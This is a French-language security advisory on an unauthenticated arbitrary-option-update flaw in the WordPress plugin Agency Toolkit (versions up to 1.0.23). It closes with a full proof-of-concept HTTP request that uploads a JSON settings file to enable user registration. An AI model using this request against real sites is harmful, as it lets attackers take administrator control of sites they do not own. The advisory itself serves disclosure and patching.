
Agency Toolkit <= 1.0.23 - Autorisation manquante pour la mise à jour arbitraire d'options non authentifiée
Agency Toolkit <= 1.0.23 - Absence d'autorisation permettant la mise à jour arbitraire d'options sans authentification
Le plugin Agency Toolkit pour WordPress est vulnérable à une modification non autorisée des données pouvant conduire à une élévation de privilèges en raison d'un contrôle de capacité manquant sur l'action 'agency_toolkit_import' dans toutes les versions jusqu'à la version 1.0.23 incluse. Cela permet à des attaquants non authentifiés de mettre à jour des options arbitraires sur le site WordPress. Cela peut être exploité pour définir le rôle par défaut pour l'enregistrement comme administrateur et activer l'enregistrement des utilisateurs afin que les attaquants puissent obtenir un accès administrateur à un site vulnérable.
POST /wp-admin/admin.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
Content-Length: 485
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="agency_toolkit_import"
1
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="import_file"; filename="settings.json"
Content-Type: application/json
[
{
"option_name": "users_can_register",
"option_value": "1"
}
]
------WebKitFormBoundaryABC123--